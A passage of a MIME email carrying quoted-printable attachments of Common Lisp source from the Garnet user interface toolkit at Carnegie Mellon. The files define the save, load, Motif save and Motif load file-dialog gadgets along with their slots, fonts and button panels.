(:FINAL-FEEDBACK-P NIL) (:MAX-ITEM-WIDTH ,(o-formula (gvl :min-frame-width))) (:LEFT ,(o-formula (+ (gvl :parent :left) 22) 32)) (:TOP ,(o-formula (+ (gvl :parent :dir-input :top) (gvl :parent :dir-input :height) 20))) (:INDICATOR-FONT ,(create-instance nil OPAL:FONT (:SIZE :SMALL))) (:MULTIPLE-P T) (:PAGE-INCR 5) (:SCR-INCR 1) (:SCROLL-SELECTION-FUNCTION NIL) (:MENU-SELECTION-FUNCTION file-menu-selection) (:H-ALIGN :LEFT) (:SCROLL-ON-LEFT-P T) (:MIN-FRAME-WIDTH ,(o-formula (- (gvl :parent :min-gadget-width) = 60))) (:TEXT-OFFSET 4) (:INT-MENU-FEEDBACk-P T) (:ITEM-FONT ,(o-formula (gvl :parent :file-menu-font))) (:V-SPACING 3) (:MIN-SCROLL-BAR-WIDTH 20) (:INDICATOR-TEXT-P NIL) (:PAGE-TRILL-P NIL) (:SCR-TRILL-P T) (:NUM-VISIBLE ,(o-formula (gvl :parent :num-visible))) (:INT-SCROLL-FEEDBACK-P NIL) (:TITLE NIL) (:SELECTED-RANKS NIL)) ;;; This is the box that says "Filename" =20 (:FILE-INPUT ,GARNET-GADGETS:SCROLLING-LABELED-BOX (:LEFT ,(o-formula (gvl :parent :left))) (:TOP ,(o-formula (+ (gvl :parent :file-menu :top) (gvl :parent :file-menu :height) 20))) (:WIDTH ,(o-formula (gvl :parent :min-gadget-width) 240)) (:CONSTANT (:KNOWN-AS :COMPONENTS :FIELD-TEXT :FRAME :LABEL-TEXT)) (:MIN-FRAME-WIDTH NIL) (:FIELD-FONT ,(o-formula (gvl :parent :file-input-field-font))) (:FIELD-OFFSET 0) (:LABEL-OFFSET 5) (:LABEL-FONT ,(o-formula (gvl :parent :file-input-label-font))) (:GROW-P T) (:SELECTION-FUNCTION Check-Filename) (:LABEL-STRING "Filename:") (:VALUE "")) ;;; This is the little message that appears everytime a directory is = being ;;; fetched =20 =20 (:MESSAGE ,OPAL:TEXT (:LEFT ,(o-formula (+ (gvl :parent :left) 20) 30)) (:TOP ,(o-formula (+ (gvl :parent :top) 20) 44)) (:FONT ,(o-formula (gvl :parent :message-font)))) ;;; These are the two buttons for save and cancel =20 (:OK-CANCEL-BUTTONS ,GARNET-GADGETS:TEXT-BUTTON-PANEL (:CONSTANT (:KNOWN-AS :COMPONENTS :TEXT-BUTTON-PRESS = :FINAL-FEEDBACK :TEXT-BUTTON-LIST)) (:left ,(o-formula (floor (- (gvl :parent :min-gadget-width) (gvl :width)) 2))) (:top ,(o-formula (let ((comps (gvl :parent :components)) (me (gvl :parent :ok-cancel-buttons)) (maxbot 0)) (dolist (ob comps) (when (and (not (equal ob me)) (> (opal:bottom ob) maxbot)) (setf maxbot (opal:bottom ob)))) (+ maxbot 25)))) =20 (:SELECTION-FUNCTION DEFAULT-SAVE-FUNCTION) (:FONT ,(o-formula (gvl :parent :button-panel-font))) (:H-ALIGN :CENTER) (:PIXEL-MARGIN NIL) (:RANK-MARGIN NIL) (:FIXED-HEIGHT-P T) (:FIXED-WIDTH-P T) (:INDENT 0) (:V-SPACING 5) (:H-SPACING ,(o-formula (gvl :parent :button-panel-h-spacing))) (:DIRECTION :HORIZONTAL) (:SHADOW-OFFSET 5) (:TEXT-OFFSET 2) (:FINAL-FEEDBACK-P NIL) (:GRAY-WIDTH 3) (:ITEMS ,(o-formula (gvl :parent :button-panel-items))))))) (s-value save-gadget :initialize #'Save-Load-Gadget-Initialize) ------=_NextPart_000_0032_01C0DD3B.0D8FA2E0 Content-Type: application/octet-stream; name="load-gadget.lisp" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="load-gadget.lisp" ;;; -*- Mode: LISP; Syntax: Common-Lisp; Package: GARNETDRAW; Base: 10 = -*- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; The Garnet User Interface Development Environment. ;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; This code was written as part of the Garnet project at ;;; ;;; Carnegie Mellon University, and has been placed in the public ;;; ;;; domain. If you are using this code or any part of Garnet, ;;; ;;; please contact garnet@cs.cmu.edu to be put on the mailing list. ;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; This file contains the load gadget. The functions for this gadget ;;; can be found in the save-load-functions.lisp file. ;;; ;;; Designed and Implemented by Rajan Parthasarathy ;;; ;;; Change log: ;;; ;;; 03/25/93 Andrew Mickish - Removed extra quote from = Default-Load-Function ;;; 01/30/93 Rajan Parthasarathy - s-value'd the :initialize slot ;;; 12/14/92 Andrew Mickish - Added type and parameter declarations ;;; 06/26/92 Rajan Parthasarathy - Created ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (in-package "GARNET-GADGETS") (eval-when (eval load compile) (export '(LOAD-GADGET))) (create-instance 'LOAD-GADGET opal:aggregadget :declare ((:parameters :parent-window :window-title :window-left = :window-top :min-gadget-width :initial-directory :message-string :button-panel-items :button-panel-h-spacing :num-visible :check-filenames-p :modal-p :dir-input-field-font :dir-input-label-font :file-input-field-font :file-input-label-font :message-font :button-panel-font :file-menu-font :selection-function) (:type ((or (is-a-p inter:interactor-window) null) :parent-window) ((or null string) :window-title) (integer :window-left :window-top :button-panel-h-spacing) ((integer 0) :min-gadget-width :num-visible) (string :initial-directory :message-string) (list :button-panel-items) (kr-boolean :check-filenames-p :modal-p) ((or null function symbol) :selection-function) ((or (is-a-p opal:font) (is-a-p opal:font-from-file)) :dir-input-field-font :dir-input-label-font :file-input-field-font :file-input-label-font :message-font :button-panel-font :file-menu-font)) (:maybe-constant :left :top :parent-window :window-title :window-left :window-top :dir-input-field-font :dir-input-label-font :message-font :message-string :num-visible :file-menu-font :initial-directory :file-input-field-font :file-input-label-font :button-panel-items :button-panel-font :button-panel-h-spacing :min-gadget-width :modal-p :check-filenames-p)) ;;; Customizable slots (:LEFT 10) (:TOP 24) (:PARENT-WINDOW NIL) =20 ;; Slots for window customization (:WINDOW-TITLE "Load Window") (:WINDOW-TOP (o-formula (if (gvl :parent-window) (floor (- (gvl :parent-window :height) (gvl :window :height)) 2) 0))) (:WINDOW-LEFT (o-formula (if (gvl :parent-window) (floor (- (gvl :parent-window :width) (gvl :window :width)) 2) 0))) ;; Slots for dir-input customization (:DIR-INPUT-FIELD-FONT (opal:get-standard-font NIL NIL :small)) (:DIR-INPUT-LABEL-FONT (opal:get-standard-font NIL :BOLD NIL)) =20 ;; Slots for message customization (:MESSAGE-FONT (OPAL:GET-STANDARD-FONT :FIXED :ITALIC :SMALL)) (:MESSAGE-STRING "Fetching directory...") ;; Slots for file-menu customization (:NUM-VISIBLE 6) (:FILE-MENU-FONT (opal:get-standard-font NIL :BOLD NIL)) (:INITIAL-DIRECTORY #-apple "./" #+apple ":") =20 ;; Slots for file-input customization (:FILE-INPUT-FIELD-FONT (opal:get-standard-font NIL NIL :small)) (:FILE-INPUT-LABEL-FONT (opal:get-standard-font NIL :BOLD NIL)) =20 ;; Slots for button customization (:BUTTON-PANEL-ITEMS '("Load" "Cancel")) (:BUTTON-PANEL-FONT OPAL:DEFAULT-FONT) (:BUTTON-PANEL-H-SPACING 25) ;; Other slots (:MIN-GADGET-WIDTH 240) (:MODAL-P NIL) (:SELECTION-FUNCTION NIL) (:CHECK-FILENAMES-P T) =20 ;;; Non customizable slots (:destroy #'Save-Load-Gadget-Destroy) (:parts `( ;;; This is the box labeled "Directory" (:DIR-INPUT ,GARNET-GADGETS:SCROLLING-LABELED-BOX (:LEFT ,(o-formula (gvl :parent :left) 10)) (:TOP ,(o-formula (gvl :parent :top) 24)) (:WIDTH ,(o-formula (gvl :parent :min-gadget-width) 240)) (:MIN-FRAME-WIDTH NIL) (:FIELD-FONT ,(o-formula (gvl :parent :dir-input-field-font))) (:FIELD-OFFSET 0) (:LABEL-OFFSET 5) (:LABEL-FONT ,(o-formula (gvl :parent :dir-input-label-font))) (:GROW-P T) (:LABEL-STRING "Directory:") (:VALUE ,(o-formula (directory-namestring (truename (gvl :parent :initial-directory))))) (:SELECTION-FUNCTION Update-File-Menu)) ;;; This is the scrolling menu with a list of files in it =20 (:FILE-MENU ,GARNET-GADGETS:SCROLLING-MENU (:TOGGLE-P NIL) (:FINAL-FEEDBACK-P NIL) (:MAX-ITEM-WIDTH ,(o-formula (gvl :min-frame-width))) (:LEFT ,(o-formula (+ (gvl :parent :left) 22) 32)) (:TOP ,(o-formula (+ (gvl :parent :dir-input :top) (gvl :parent :dir-input :height) 20))) (:INDICATOR-FONT ,(create-instance nil OPAL:FONT (:SIZE :SMALL))) (:MULTIPLE-P T) (:PAGE-INCR 5) (:SCR-INCR 1) (:SCROLL-SELECTION-FUNCTION NIL) (:MENU-SELECTION-FUNCTION file-menu-selection) (:H-ALIGN :LEFT) (:SCROLL-ON-LEFT-P T) (:MIN-FRAME-WIDTH ,(o-formula (- (gvl :parent :min-gadget-width) = 60))) (:TEXT-OFFSET 4) (:INT-MENU-FEEDBACk-P T) (:ITEM-FONT ,(o-formula (gvl :parent :file-menu-font))) (:V-SPACING 3) (:MIN-SCROLL-BAR-WIDTH 20) (:INDICATOR-TEXT-P NIL) (:PAGE-TRILL-P NIL) (:SCR-TRILL-P T) (:NUM-VISIBLE ,(o-formula (gvl :parent :num-visible))) (:INT-SCROLL-FEEDBACK-P NIL) (:TITLE NIL) (:SELECTED-RANKS NIL)) ;;; This is the box that says "Filename" =20 (:FILE-INPUT ,GARNET-GADGETS:SCROLLING-LABELED-BOX (:LEFT ,(o-formula (gvl :parent :left))) (:TOP ,(o-formula (+ (gvl :parent :file-menu :top) (gvl :parent :file-menu :height) 20))) (:WIDTH ,(o-formula (gvl :parent :min-gadget-width) 240)) (:CONSTANT (:KNOWN-AS :COMPONENTS :FIELD-TEXT :FRAME :LABEL-TEXT)) (:MIN-FRAME-WIDTH NIL) (:FIELD-FONT ,(o-formula (gvl :parent :file-input-field-font))) (:FIELD-OFFSET 0) (:LABEL-OFFSET 5) (:LABEL-FONT ,(o-formula (gvl :parent :file-input-label-font))) (:GROW-P T) (:SELECTION-FUNCTION Check-Load-Filename) (:LABEL-STRING "Filename:") (:VALUE "")) ;;; This is the little message that appears everytime a directory is = being ;;; fetched =20 =20 (:MESSAGE ,OPAL:TEXT (:LEFT ,(o-formula (+ (gvl :parent :left) 20) 30)) (:TOP ,(o-formula (+ (gvl :parent :top) 20) 44)) (:FONT ,(o-formula (gvl :parent :message-font)))) ;;; These are the two buttons for load and cancel =20 (:OK-CANCEL-BUTTONS ,GARNET-GADGETS:TEXT-BUTTON-PANEL (:CONSTANT (:KNOWN-AS :COMPONENTS :TEXT-BUTTON-PRESS = :FINAL-FEEDBACK :TEXT-BUTTON-LIST)) (:left ,(o-formula (floor (- (gvl :parent :min-gadget-width) (gvl :width)) 2))) (:top ,(o-formula (let ((comps (gvl :parent :components)) (me (gvl :parent :ok-cancel-buttons)) (maxbot 0)) (dolist (ob comps) (when (and (not (equal ob me)) (> (opal:bottom ob) maxbot)) (setf maxbot (opal:bottom ob)))) (+ maxbot 25)))) =20 (:SELECTION-FUNCTION default-load-function) (:FONT ,(o-formula (gvl :parent :button-panel-font))) (:H-ALIGN :CENTER) (:PIXEL-MARGIN NIL) (:RANK-MARGIN NIL) (:FIXED-HEIGHT-P T) (:FIXED-WIDTH-P T) (:INDENT 0) (:V-SPACING 5) (:H-SPACING ,(o-formula (gvl :parent :button-panel-h-spacing))) (:DIRECTION :HORIZONTAL) (:SHADOW-OFFSET 5) (:TEXT-OFFSET 2) (:FINAL-FEEDBACK-P NIL) (:GRAY-WIDTH 3) (:ITEMS ,(o-formula (gvl :parent :button-panel-items))))))) (s-value load-gadget :initialize #'Save-Load-Gadget-Initialize) ------=_NextPart_000_0032_01C0DD3B.0D8FA2E0 Content-Type: application/octet-stream; name="motif-save-gadget.lisp" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="motif-save-gadget.lisp" ;;; -*- Mode: LISP; Syntax: Common-Lisp; Package: GARNETDRAW; Base: 10 = -*- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; The Garnet User Interface Development Environment. ;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; This code was written as part of the Garnet project at ;;; ;;; Carnegie Mellon University, and has been placed in the public ;;; ;;; domain. If you are using this code or any part of Garnet, ;;; ;;; please contact garnet@cs.cmu.edu to be put on the mailing list. ;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; This file contains the save gadget. The functions for this gadget ;;; can be found in the save-load-functions.lisp file. ;;; ;;; Designed and Implemented by Rajan Parthasarathy ;;; ;;; Change log: ;;; ;;; 06/16/94 Marty Geier - Changed Mac directory to ":" ".:" - does not = work ;;; 05/05/94 Andrew Mickish - Added Mac directory ".:" ;;; 10/06/93 Andrew Mickish - :background-color ---> :foreground-color ;;; 01/30/93 Rajan Parthasarathy - s-value'd the :initialize slot ;;; 12/15/92 Andrew Mickish - Added type and parameter declarations ;;; 08/20/92 Andrew Mickish - Moved Save-Load-Gadget-Destroy to ;;; save-load-functions.lisp ;;; 07/26/92 Rajan Parthasarathy - Created and hacked from GILT ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (in-package "GARNET-GADGETS") (eval-when (eval load compile) (export '(MOTIF-SAVE-GADGET))) (create-instance 'MOTIF-SAVE-GADGET opal:aggregadget :declare ((:parameters :parent-window :window-title :window-left = :window-top :min-gadget-width :initial-directory :message-string :query-message :query-buttons :button-panel-items :button-panel-h-spacing :num-visible :check-filenames-p :modal-p :dir-input-field-font :dir-input-label-font :file-input-field-font :file-input-label-font :message-font :button-panel-font :file-menu-font :foreground-color :selection-function) (:type ((or (is-a-p inter:interactor-window) null) :parent-window) ((or null string) :window-title) (integer :window-left :window-top :button-panel-h-spacing) ((integer 0) :min-gadget-width :num-visible) (string :initial-directory :message-string) (list :button-panel-items :query-buttons) ((or (is-a-p opal:font) (is-a-p opal:font-from-file)) :dir-input-field-font :dir-input-label-font :file-input-field-font :file-input-label-font :message-font :button-panel-font :file-menu-font) ((is-a-p opal:color) :foreground-color) ((or null function symbol) :selection-function)) (:maybe-constant :left :top :parent-window :window-title = :window-left :window-top :dir-input-field-font :dir-input-label-font :message-font :message-string :num-visible :file-menu-font :initial-directory :file-input-field-font :file-input-label-font :button-panel-items :button-panel-font :button-panel-h-spacing :min-gadget-width :modal-p :check-filenames-p :query-message :query-buttons :foreground-color)) ;;; Customizable slots (:LEFT 10) (:TOP 24) (:PARENT-WINDOW NIL) =20 ;; Slots for window customization (:WINDOW-TITLE "Save Window") (:WINDOW-LEFT (o-formula (if (gvl :parent-window) (floor (- (gvl :parent-window :width) (gvl :window :width)) 2) 0))) (:WINDOW-TOP (o-formula (if (gvl :parent-window) (floor (- (gvl :parent-window :height) (gvl :window :height)) 2) 0))) ;; Slots for dir-input customization (:DIR-INPUT-FIELD-FONT OPAL:DEFAULT-FONT) (:DIR-INPUT-LABEL-FONT (opal:get-standard-font NIL :BOLD NIL)) =20 ;; Slots for message customization (:MESSAGE-FONT (OPAL:GET-STANDARD-FONT :FIXED :ITALIC :SMALL)) (:MESSAGE-STRING "Fetching directory...") ;; Slots for file-menu customization (:NUM-VISIBLE 6) (:FILE-MENU-FONT (opal:get-standard-font NIL :BOLD NIL)) (:INITIAL-DIRECTORY #-apple "./" #+apple ":") =20 ;; Slots for file-input customization (:FILE-INPUT-FIELD-FONT OPAL:DEFAULT-FONT) (:FILE-INPUT-LABEL-FONT (opal:get-standard-font NIL :BOLD NIL)) =20 ;; Slots for button customization (:BUTTON-PANEL-ITEMS '("Save" "Cancel")) (:BUTTON-PANEL-FONT OPAL:DEFAULT-FONT) (:BUTTON-PANEL-H-SPACING 25) ;; Other slots (:MIN-GADGET-WIDTH 240) (:SELECTION-FUNCTION NIL) (:MODAL-P NIL) (:CHECK-FILENAMES-P T) (:QUERY-MESSAGE "Write over existing file?") (:QUERY-BUTTONS '("Write" "Abort")) (:FOREGROUND-COLOR opal:motif-light-blue) =20 ;;; Non customizable slots (:motif-save-gadget-p T) (:destroy #'Save-Load-Gadget-Destroy) (:type-of-query gg:motif-query-gadget) (:parts `( =20 ;;; This is the box labeled "Directory" (:DIR-INPUT ,GARNET-GADGETS:MOTIF-SCROLLING-LABELED-BOX (:LEFT ,(o-formula (gvl :parent :left) 10)) (:TOP ,(o-formula (gvl :parent :top) 24)) (:FIELD-OFFSET 3) (:WIDTH ,(o-formula (gvl :parent :min-gadget-width) 240)) (:MIN-FRAME-WIDTH NIL) (:FIELD-FONT ,(o-formula (gvl :parent :dir-input-field-font))) (:LABEL-OFFSET 5) (:LABEL-FONT ,(o-formula (gvl :parent :dir-input-label-font))) (:GROW-P T) (:FOREGROUND-COLOR ,(o-formula (gvl :parent :foreground-color))) = =20 (:LABEL-STRING "Directory:") (:VALUE ,(o-formula (directory-namestring (truename (gvl :parent :initial-directory))))) (:SELECTION-FUNCTION Update-File-Menu) ) ;;; This is the scrolling menu with a list of files in it =20 (:FILE-MENU ,GARNET-GADGETS:MOTIF-SCROLLING-MENU (:TOGGLE-P NIL) (:FOREGROUND-COLOR ,(o-formula (gvl :parent :foreground-color))) (:MAX-ITEM-WIDTH ,(o-formula (gvl :min-frame-width))) (:LEFT ,(o-formula (+ (gvl :parent :left) 22) 32)) (:TOP ,(o-formula (+ (gvl :parent :dir-input :top) (gvl :parent :dir-input :height) 20))) (:INDICATOR-FONT ,(create-instance nil OPAL:FONT (:SIZE :SMALL))) (:MULTIPLE-P T) (:PAGE-INCR 5) (:MENU-SELECTION-FUNCTION file-menu-selection) (:SCR-INCR 1) (:SCROLL-SELECTION-FUNCTION NIL) (:H-ALIGN :LEFT) (:SCROLL-ON-LEFT-P T) (:MIN-FRAME-WIDTH ,(o-formula (- (gvl :parent :min-gadget-width) = 60))) (:TEXT-OFFSET 4) (:FINAL-FEEDBACK-P NIL) (:INT-MENU-FEEDBACk-P T) (:ITEM-FONT ,(o-formula (gvl :parent :file-menu-font))) (:V-SPACING 3) (:MIN-SCROLL-BAR-WIDTH 20) (:INDICATOR-TEXT-P NIL) (:PAGE-TRILL-P NIL) (:SCR-TRILL-P T) (:NUM-VISIBLE ,(o-formula (gvl :parent :num-visible))) (:INT-SCROLL-FEEDBACK-P NIL) (:TITLE NIL) (:SELECTED-RANKS NIL)) ;;; This is the box that says "Filename" =20 (:FILE-INPUT ,GARNET-GADGETS:MOTIF-SCROLLING-LABELED-BOX (:LEFT ,(o-formula (gvl :parent :left))) (:TOP ,(o-formula (+ (gvl :parent :file-menu :top) (gvl :parent :file-menu :height) 20))) (:WIDTH ,(o-formula (gvl :parent :min-gadget-width) 240)) (:CONSTANT (:KNOWN-AS :COMPONENTS :FIELD-TEXT :FRAME :LABEL-TEXT)) (:FIELD-OFFSET 3) (:MIN-FRAME-WIDTH NIL) (:FIELD-FONT ,(o-formula (gvl :parent :file-input-field-font))) (:LABEL-OFFSET 5) (:FOREGROUND-COLOR ,(o-formula (gvl :parent :foreground-color))) = =20 (:LABEL-FONT ,(o-formula (gvl :parent :file-input-label-font))) (:GROW-P T) (:SELECTION-FUNCTION Check-Filename) (:LABEL-STRING "Filename:") (:VALUE "")) ;;; This is the little message that appears everytime a directory is = being ;;; fetched =20 =20 (:MESSAGE ,OPAL:TEXT (:LEFT ,(o-formula (+ (gvl :parent :left) 20) 30)) (:TOP ,(o-formula (+ (gvl :parent :top) 24) 48)) (:FONT ,(o-formula (gvl :parent :message-font)))) ;;; These are the two buttons for save and cancel =20 (:OK-CANCEL-BUTTONS ,GARNET-GADGETS:MOTIF-TEXT-BUTTON-PANEL (:CONSTANT (:KNOWN-AS :COMPONENTS :TEXT-BUTTON-PRESS = :FINAL-FEEDBACK :TEXT-BUTTON-LIST)) (:left ,(o-formula (floor (- (gvl :parent :min-gadget-width) (gvl :width)) 2))) (:top ,(o-formula (let ((comps (gvl :parent :components)) (me (gvl :parent :ok-cancel-buttons)) (maxbot 0)) (dolist (ob comps) (when (and (not (equal ob me)) (> (opal:bottom ob) maxbot)) (setf maxbot (opal:bottom ob)))) (+ maxbot 25)))) =20 (:FOREGROUND-COLOR ,(o-formula (gvl :parent :foreground-color))) (:SELECTION-FUNCTION DEFAULT-SAVE-FUNCTION) (:FONT ,(o-formula (gvl :parent :button-panel-font))) (:H-ALIGN :CENTER) (:PIXEL-MARGIN NIL) (:RANK-MARGIN NIL) (:FIXED-HEIGHT-P T) (:FIXED-WIDTH-P T) (:INDENT 0) (:V-SPACING 5) (:H-SPACING ,(o-formula (gvl :parent :button-panel-h-spacing))) (:DIRECTION :HORIZONTAL) (:TEXT-OFFSET 4) (:FINAL-FEEDBACK-P NIL) (:ITEMS ,(o-formula (gvl :parent :button-panel-items))))))) (s-value motif-save-gadget :initialize #'Save-Load-Gadget-Initialize) ------=_NextPart_000_0032_01C0DD3B.0D8FA2E0 Content-Type: application/octet-stream; name="motif-load-gadget.lisp" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="motif-load-gadget.lisp" ;;; -*- Mode: LISP; Syntax: Common-Lisp; Package: GARNET-GADGETS; Base: = 10 -*- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; The Garnet User Interface Development Environment. ;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; This code was written as part of the Garnet project at ;;; ;;; Carnegie Mellon University, and has been placed in the public ;;; ;;; domain. If you are using this code or any part of Garnet, ;;; ;;; please contact garnet@cs.cmu.edu to be put on the mailing list. ;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; This file contains the load gadget. The functions for this gadget ;;; can be found in the save-load-functions.lisp file. ;;; ;;; Designed and Implemented by Rajan Parthasarathy ;;; ;;; Change log: ;;; ;;; 10/06/93 Andrew Mickish - :background-color ---> :foreground-color ;;; 01/30/93 Rajan Parthasarathy - s-value'd the :initialize slot ;;; 12/15/92 Andrew Mickish - Added type and parameter declarations ;;; 06/26/92 Rajan Parthasarathy - Created ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (in-package "GARNET-GADGETS") (eval-when (eval load compile) (export '(MOTIF-LOAD-GADGET))) (create-instance 'MOTIF-LOAD-GADGET OPAL:AGGREGADGET =20 :declare ((:parameters :parent-window :window-title :window-left = :window-top :min-gadget-width :initial-directory :message-string :button-panel-items :button-panel-h-spacing :num-visible :check-filenames-p :modal-p :dir-input-field-font :dir-input-label-font :file-input-field-font :file-input-label-font :message-font :button-panel-font :file-menu-font :selection-function) (:type ((or (is-a-p inter:interactor-window) null) :parent-window) ((or null string) :window-title) (integer :window-left :window-top :button-panel-h-spacing) ((integer 0) :min-gadget-width :num-visible) (string :initial-directory :message-string) (list :button-panel-items) (kr-boolean :check-filenames-p :modal-p) ((or null function symbol) :selection-function) ((or (is-a-p opal:font) (is-a-p opal:font-from-file)) :dir-input-field-font :dir-input-label-font :file-input-field-font :file-input-label-font :message-font :button-panel-font :file-menu-font)) (:maybe-constant :left :top :parent-window :window-title :window-left :window-top :dir-input-field-font :dir-input-label-font :message-font :message-string :num-visible :file-menu-font :initial-directory :file-input-field-font :file-input-label-font :button-panel-items :button-panel-font :button-panel-h-spacing :min-gadget-width :modal-p :check-filenames-p :foreground-color)) ;;; Customizable slots (:LEFT 10) (:TOP 24) (:PARENT-WINDOW NIL) =20 ;; Slots for window customization (:WINDOW-TITLE "Load Window") (:WINDOW-TOP (o-formula (if (gvl :parent-window) (floor (- (gvl :parent-window :height) (gvl :window :height)) 2) 0))) (:WINDOW-LEFT (o-formula (if (gvl :parent-window) (floor (- (gvl :parent-window :width) (gvl :window :width)) 2) 0))) ;; Slots for dir-input customization (:DIR-INPUT-FIELD-FONT opal:default-font) (:DIR-INPUT-LABEL-FONT (opal:get-standard-font NIL :BOLD NIL)) =20 ;; Slots for message customization (:MESSAGE-FONT (OPAL:GET-STANDARD-FONT :FIXED :ITALIC :SMALL)) (:MESSAGE-STRING "Fetching directory...") ;; Slots for file-menu customization (:NUM-VISIBLE 6) (:FILE-MENU-FONT (opal:get-standard-font NIL :BOLD NIL)) (:INITIAL-DIRECTORY #-apple "./" #+apple ":") =20 ;; Slots for file-input customization (:FILE-INPUT-FIELD-FONT opal:default-font) (:FILE-INPUT-LABEL-FONT (opal:get-standard-font NIL :BOLD NIL)) =20 ;; Slots for button customization (:BUTTON-PANEL-ITEMS '("Load" "Cancel")) (:BUTTON-PANEL-FONT OPAL:DEFAULT-FONT) (:BUTTON-PANEL-H-SPACING 25) ;; Other slots (:MIN-GADGET-WIDTH 240) (:MODAL-P NIL) (:SELECTION-FUNCTION NIL) (:CHECK-FILENAMES-P T) (:FOREGROUND-COLOR opal:motif-light-blue) =20 ;;; Non customizable slots (:destroy #'Save-Load-Gadget-Destroy) (:motif-load-gadget-p T) (:parts `( ;;; This is the box labeled "Directory" (:DIR-INPUT ,GARNET-GADGETS:MOTIF-SCROLLING-LABELED-BOX (:LEFT ,(o-formula (gvl :parent :left) 10)) (:TOP ,(o-formula (gvl :parent :top) 24)) (:WIDTH ,(o-formula (gvl :parent :min-gadget-width) 240)) (:MIN-FRAME-WIDTH NIL) (:FIELD-FONT ,(o-formula (gvl :parent :dir-input-field-font))) (:FIELD-OFFSET 3) (:LABEL-OFFSET 5) (:LABEL-FONT ,(o-formula (gvl :parent :dir-input-label-font))) (:GROW-P T) (:FOREGROUND-COLOR ,(o-formula (gvl :parent :foreground-color))) (:LABEL-STRING "Directory:") (:VALUE ,(o-formula (directory-namestring (truename (gvl :parent :initial-directory))))) (:SELECTION-FUNCTION Update-File-Menu)) ;;; This is the scrolling menu with a list of files in it =20 (:FILE-MENU ,GARNET-GADGETS:MOTIF-SCROLLING-MENU (:TOGGLE-P NIL) (:MAX-ITEM-WIDTH ,(o-formula (gvl :min-frame-width))) (:LEFT ,(o-formula (+ (gvl :parent :left) 22) 32)) (:TOP ,(o-formula (+ (gvl :parent :dir-input :top) (gvl :parent :dir-input :height) 20))) (:FOREGROUND-COLOR ,(o-formula (gvl :parent :foreground-color))) = =20 (:INDICATOR-FONT ,(create-instance nil OPAL:FONT (:SIZE :SMALL))) (:MULTIPLE-P T) (:PAGE-INCR 5) (:SCR-INCR 1) (:SCROLL-SELECTION-FUNCTION NIL) (:MENU-SELECTION-FUNCTION file-menu-selection) (:H-ALIGN :LEFT) (:SCROLL-ON-LEFT-P T) (:MIN-FRAME-WIDTH ,(o-formula (- (gvl :parent :min-gadget-width) = 60))) (:TEXT-OFFSET 4) (:FINAL-FEEDBACK-P NIL) (:INT-MENU-FEEDBACk-P T) (:ITEM-FONT ,(o-formula (gvl :parent :file-menu-font))) (:V-SPACING 3) (:MIN-SCROLL-BAR-WIDTH 20) (:INDICATOR-TEXT-P NIL) (:PAGE-TRILL-P NIL) (:SCR-TRILL-P T) (:NUM-VISIBLE ,(o-formula (gvl :parent :num-visible))) (:INT-SCROLL-FEEDBACK-P NIL) (:TITLE NIL) (:SELECTED-RANKS NIL)) ;;; This is the box that says "Filename" =20 (:FILE-INPUT ,GARNET-GADGETS:MOTIF-SCROLLING-LABELED-BOX (:LEFT ,(o-formula (gvl :parent :left))) (:TOP ,(o-formula (+ (gvl :parent :file-menu :top) (gvl :parent :file-menu :height) 20))) (:WIDTH ,(o-formula (gvl :parent :min-gadget-width) 240)) (:CONSTANT (:KNOWN-AS :COMPONENTS :FIELD-TEXT :FRAME :LABEL-TEXT)) (:MIN-FRAME-WIDTH NIL) (:FIELD-FONT ,(o-formula (gvl :parent :file-input-field-font))) (:FIELD-OFFSET 3) (:LABEL-OFFSET 5) (:FOREGROUND-COLOR ,(o-formula (gvl :parent :foreground-color))) = =20 (:LABEL-FONT ,(o-formula (gvl :parent :file-input-label-font))) (:GROW-P T) (:SELECTION-FUNCTION Check-Load-Filename) (:LABEL-STRING "Filename:") (:VALUE "")) ;;; This is the little message that appears everytime a directory is = being ;;; fetched =20 =20 (:MESSAGE ,OPAL:TEXT (:LEFT ,(o-formula (+ (gvl :parent :left) 20) 30)) (:TOP ,(o-formula (+ (gvl :parent :top) 24) 48)) (:FONT ,(o-formula (gvl :parent :message-font)))) ;;; These are the two buttons for load and cancel =20 (:OK-CANCEL-BUTTONS ,GARNET-GADGETS:MOTIF-TEXT-BUTTON-PANEL (:CONSTANT (:KNOWN-AS :COMPONENTS :TEXT-BUTTON-PRESS = :FINAL-FEEDBACK :TEXT-BUTTON-LIST)) (:left ,(o-formula (floor (- (gvl :parent :min-gadget-width) (gvl :width)) 2))) (:top ,(o-formula (let ((comps (gvl :parent :components)) (me (gvl :parent :ok-cancel-buttons)) (maxbot 0)) (dolist (ob comps) (when (and (not (equal ob me)) (> (opal:bottom ob) maxbot)) (setf maxbot (opal:bottom ob)))) (+ maxbot 25)))) 